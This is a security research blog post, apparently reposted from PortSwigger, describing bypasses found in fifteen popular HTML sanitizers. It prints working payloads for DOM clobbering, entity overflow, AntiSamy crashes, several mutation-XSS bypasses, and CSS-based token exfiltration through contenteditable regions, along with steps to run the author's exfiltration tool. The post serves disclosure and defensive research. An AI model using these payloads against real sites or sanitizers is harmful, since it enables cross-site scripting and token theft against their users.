HyperText Mischief Language
Published: Wednesday, 2 December 2026 at 14:30 U 2026-12-2 14:30:0 Author: portswigger.net(查看原文) 阅读量:2 收藏

Gareth Heyes

  • Published: Wednesday, 2 December 2026 at 14:30 UTC

  • Updated: Wednesday, 2 December 2026 at 15:20 UTC

Mischievous HTML character with devil horns breaking through a sanitizer filter

Hacking HTML sanitizers

In this post, I'll show you how I attacked fifteen popular HTML sanitizers. We'll start by clobbering native DOM functions, then overflow HTML entities until a sanitizer falls over. I'll then show you how to escape comments and textareas, abuse a Safari parsing quirk, and finish with a mutation XSS that uses a brand new HTML feature.

After exploring SVG sanitizers in Scalable Vector Grief , I thought I'd turn my attention to HTML. This proved a much tougher nut to crack, probably because HTML sanitizers get more attention and are far more widely used. Still, they didn't all come out unscathed.

The targets

I found the most popular HTML sanitizers I could and began testing:

Library
https://github.com/cure53/DOMPurify
https://github.com/apostrophecms/sanitize-html
https://github.com/leizongmin/js-xss
https://github.com/rehypejs/rehype-sanitize
https://github.com/ezyang/htmlpurifier
https://github.com/symfony/html-sanitizer
https://github.com/OWASP/java-html-sanitizer
https://github.com/nahsra/antisamy
https://github.com/jhy/jsoup
https://github.com/mganss/HtmlSanitizer
https://github.com/mozilla/bleach
https://github.com/messense/nh3
https://github.com/rust-ammonia/ammonia
https://github.com/flavorjones/loofah
https://github.com/rgrove/sanitize

Warming up: clobbering native functions

Libraries affected: symfony/html-sanitizer, nahsra/antisamy, flavorjones/loofah (including loofah-html5)

A sanitizer's job isn't just to stop script execution. If the sanitized output lives inside a bigger application, such as a webmail client or a forum, it also needs to stop that content from breaking the page around it. DOM clobbering is a great way to do exactly that.

Certain elements with a name attribute get exposed as properties of the document, and those properties take priority over the document's own methods. You can do this with embed, form, iframe, image, img and object. Name an image after a native function and the function is gone:

<img name=getElementById>
<script>
console.log(document.getElementById)//img
</script>

Symfony, AntiSamy, Loofah and Loofah HTML5 all allowed the name attribute on img and form elements, so this went straight through:

In:  <img name=querySelector><img name=getElementById>
Out: <img name=querySelector><img name=getElementById>

In:  <form name=querySelector><form name=getElementById>
Out: <form name=querySelector><form name=getElementById>

Once that output lands on the page, any code that calls document.getElementById() or document.querySelector() gets a form or an image instead and throws an exception. Two tiny tags and the host application's JavaScript is broken.

Forming a collection with one link

Classic two-level clobbering like x.y normally needs two elements that share an id, so that window.x becomes an HTMLCollection you can then index by name. It turns out you only need one if you can get the parser to make the second for you:

<p><a name=y id=x href="javascript:alert(1)">First</p>Second <script>
alert(x.y)//javascript:alert(1)
</script>

The anchor is a formatting element. When the </p> closes the paragraph while the anchor is still open, the parser remembers it, and when it reaches the text "Second" it reconstructs it, cloning every attribute. Here's the DOM you end up with

<p><a name="y" id="x" href="javascript:alert(1)">First</a></p><a name="y" id="x" href="javascript:alert(1)">Second
<script>
alert(x.y)
</script></a>

There are now two elements with an id of x, so x is a collection, x.y returns the anchor named y, and because anchors stringify to their href, the alert shows the URL you supplied. One link, one collection.

Label jacking

Library affected: HTMLSanitizer

This one is simple but effective. The sanitizer allowed the for attribute on labels:

In:  <label for=x>Click me</label>
Out: <label for=x>Click me</label>

A label doesn't care where its target lives, so it can point at an element outside the sanitized content. Imagine the host page contains this:

<button id=x onclick="alert('Called from sanitized HTML')">Test</button>

Clicking the label in the sanitized content clicks the application's button for you. Your untrusted HTML can now trigger whatever actions the host page exposes, while looking like anything you want.

Entity overflows

Libraries affected: OWASP/java-html-sanitizer, nahsra/antisamy, mganss/HtmlSanitizer

As I was testing the various libraries, I wondered if it would be possible to overflow HTML entities. It was:

In:  &#x10000000000000061;&#x10000000000000062;&#x10000000000000063;
Out: abc

The hex value is too big for the integer the sanitizer stores it in, so the top bit falls off and what's left is 0x61, the letter a. A browser, on the other hand, follows the spec and turns any code point above the Unicode range into the replacement character. That means the sanitizer and the browser disagree about what the input says, and anything that inspects the raw input, such as a WAF or a blocklist, sees nothing but harmless-looking entities.

Crashing AntiSamy

Library affected: nahsra/antisamy

If you push the overflow a little further, AntiSamy gives up entirely:

In:  &#xfffffffffffffffff;
Out: exit 1: org.owasp.validator.html.ScanException: java.lang.IllegalArgumentException: Not a valid Unicode code point: 0xFFFFFFFF

The value wraps to -1, the code point check throws, and the whole scan is aborted. One entity is enough to stop any document containing it from being sanitized.

AntiSamy's dangling textarea

Library affected: nahsra/antisamy

AntiSamy serializes an empty textarea as an XML-style self-closing tag:

In:  <textarea></textarea>
Out: <textarea/>

HTML doesn't have self-closing tags for normal elements. The browser ignores the slash and opens a textarea, and because textarea content is parsed as text, it swallows everything after it until it sees a closing </textarea>. On its own that just eats the rest of the page, but combine it with any other injection on the page that a sanitizer would consider safe, such as:

<img title="</textarea><img src onerror=alert(1)>">

The sanitizer sees an image with a perfectly harmless title. The browser sees a textarea that ends halfway through that title, followed by a brand new img tag with an onerror handler.

AntiSamy and the conditional comment

Library affected: nahsra/antisamy (requires preserveComments)

This one needs a non-default setting, but it's my favourite AntiSamy bug because the sanitizer creates the vulnerability itself. With comments preserved:

<directive name="preserveComments" value="true" />

This input:

<div><!-- --[if IE]-!><img src=x onerror=alert(1)> --></div>

Comes out as:

<div><!-- ---!><img src=x onerror=alert(1)> --></div>

AntiSamy uses NekoHTML, which parses everything between <!-- and --> as a single comment. The -!> sequence, with a single dash, doesn't close a comment, so the comment data is --[if IE]-!><img src=x onerror=alert(1)>. The img tag only exists as text inside the comment, so it never goes anywhere near AntiSamy's attribute validation.

Then AntiSamy tries to be helpful. Its processCommentNode() strips IE conditional directives like [if IE], and removing that from the middle of the data glues the dashes together: --[if IE]-!> becomes ---!>. The serializer then checks the comment for -->, doesn't find it, and writes everything out raw.

When the browser parses the output, it hits ---!> and follows the HTML spec: -- enters the comment end state, the third dash keeps it there, ! moves to the comment end bang state, and > closes the comment. Everything after it, including the unsanitized img, is live HTML.

The root cause is twofold: the serializer only looks for --> when HTML also recognises --!> as a comment close, and processCommentNode() modifies comment data without checking whether it has just created a new way out.

Loofah HTML5 and Safari's mystery slash

Library affected: flavorjones/loofah (HTML5 mode)

This vulnerability uses <math>, <svg> and <annotation-xml> to make Loofah parse in XML mode while the browser parses in HTML mode. An annotation-xml element with an encoding of text/html is an HTML integration point, which means its contents are parsed as HTML rather than foreign content. So the whole bypass comes down to making the encoding attribute mean text/html to the browser but not to the sanitizer.

The trick is the character 0x0F, which Safari treats as a forward slash:

<math><svg><annotation-xml encoding=text&#x0f;html>
<textarea>
<a style="font-family:'</textarea><script>alert(1)</script>';"></a>
</textarea></annotation-xml></svg></math>

Loofah decodes the entity, sees an encoding of text\x0Fhtml, which isn't text/html, and treats everything inside as foreign content. In that world the textarea is just an element and the </textarea><script> is just text inside a style attribute, so it outputs everything untouched with 0x0F in place of the entity:

<math><svg><annotation-xml encoding="text$CHRhtml"><textarea><a style="font-family:'</textarea><script>alert(1)</script>';">
</a></textarea></annotation-xml></svg></math>

Here $CHR stands for the raw 0x0F character. Safari reads the encoding as text/html, switches to HTML parsing, and now the textarea really is a textarea. It closes at the </textarea> inside the style attribute and the script that follows executes. This only works in Safari.

You can do the same thing with plus too:

 <math><svg><annotation-xml encoding="application/xhtml&#x0b;xml"><textarea><a style="font-family:'</textarea><img src onerror=alert(1)>';">
</a></textarea></annotation-xml></svg></math>

I found both issues with Shazzer:

Characters that act as forward slash in encoding attribute

Characters that act as plus in encoding attribute

You can see all the vectors used in the Shazzer collection.

Paste-based exfiltration with contenteditable

Libraries affected: loofah, mganss/htmlsanitizer

The sanitizers allowed the contenteditable attribute:

In:  <div contenteditable=true>Paste in here</div>

Out: <div contenteditable=true>Paste in here</div>

That doesn't sound dangerous, but an editable region inside a trusted page is a great place to land a paste-based attack. In Firefox, you can get a user to paste CSS into the editable element and use it to steal hex-based tokens from the page.

To exploit this issue I created a tool called Frag , this tool lets you exfiltrate tokens using the technique described in " Alex's Smashing the token limit " post.

Example token:

<a href="https://example.com/m/callback/email?token=045bc16d7516c283a016bb11351e7d2e5911fda4&amp;operation=login&amp;state=medium&amp;rememberMe=false"></a>

When you paste the CSS into the contenteditable area. The CSS leaks the first three and last three hex characters of the token, then every three-character hex sequence that appears somewhere in it. Frag stitches the token back together by walking overlapping three-character windows from the start to the end. If you want to know more about how this works, check out CSS: the bomb inside your inbox and Smashing the token limit .

You can try it yourself:

1. Clone https://github.com/hackvertor/frag

2. Run npm install

3. Run npm start

4. Visit localhost:3000 in Firefox

5. Configure a selector to match a token

6. Click the "Copy as HTML for test" button

7. Paste into the test area provided by Frag.

8. Frag should show your exfiltrated token on paste.

This can be adapted to steal any hex-based token or even alphanumeric ones too. In a real attack, the victim would paste the CSS into the target site and the exfiltration server would sit on an external domain.

Bonus: attr() exfiltration in Safari beta

Back in April 2025 Slonser discovered you could use attr() function in CSS to steal data in Chrome. While I was playing with CSS, I noticed that Safari beta lets you use attr() inside -webkit-image-set() function:

<div data-image="a258782afcad518aca1a7659de5e1f77" style="width:100px; height:100px; background-image: -webkit-image-set(attr(data-image))"></div>

The attribute value is used as an image URL and Safari makes the request, so CSS can read an attribute and send it over the network without any selector brute force at all. attr() is supposed to be prevented from producing URLs for exactly this reason. This works in Safari technology preview Release 257 (WebKit 22627.1.8.19.1).

Mutation XSS with marker processing instructions

To end this piece of research, here's a mutation XSS that uses a brand new HTML feature. Template elements can now be streamed into a location in the document that's been marked with a marker processing instruction: <template for="x"> sends its contents to wherever <?marker name="x"?> lives.

So what happens if that marker lives inside MathML or SVG?

<div><math><?marker name="x"?></math></div><template for="x"><style><img src onerror=alert(1)></style></template>
<div><svg><?marker name="x"?></svg></div><template for="x"><style><img src onerror=alert(1)></style></template>

Inside the template, the parser is in HTML mode, where style contains raw text. As far as the sanitizer is concerned, the img is just some text inside a style element. But the content gets streamed into the marker inside math or svg, where style is not a raw text element. The img becomes a real tag, breaks out of foreign content, and the onerror fires.

Wrapping up

I hope you enjoyed this post. HTML sanitizers are clearly in better shape than their SVG cousins, but as you've seen, there's still plenty of grief to be had between the sanitizer's parser and the browser's.

Back to all articles


文章来源: https://portswigger.net/research/hypertext-mischief-language
如有侵权请联系:admin#unsafe.sh